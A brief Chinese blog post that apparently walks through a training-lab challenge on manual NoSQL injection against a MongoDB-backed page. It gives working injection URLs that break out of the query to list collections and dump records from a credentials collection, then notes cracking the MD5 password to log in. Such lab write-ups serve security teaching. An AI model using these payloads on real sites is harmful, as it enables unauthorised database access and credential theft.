墨者学院 - SQL手工注入漏洞测试(MongoDB数据库)

版权声明:原创 多崎巡礼,未经许可禁止转载! https://blog.csdn.net/qq_42357070/article/details/81743478

# 查看是否有注入点
http://ip/new_list.php?id=1'

# 想办法闭合语句,查看所有集合
# db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
http://ip/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1

类似语句:

 select SCHEMA_NAME from information_schema.SCHEMATA

# 查看Authority_confidential集合的第一条数据
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1

类似语句: 

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='Authority_confidential' 

# 查看Authority_confidential集合的第二条数据
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:'1

得到用户名密码,密码用md5解密

登陆,获得key

猜你喜欢

转载自blog.csdn.net/qq_42357070/article/details/81743478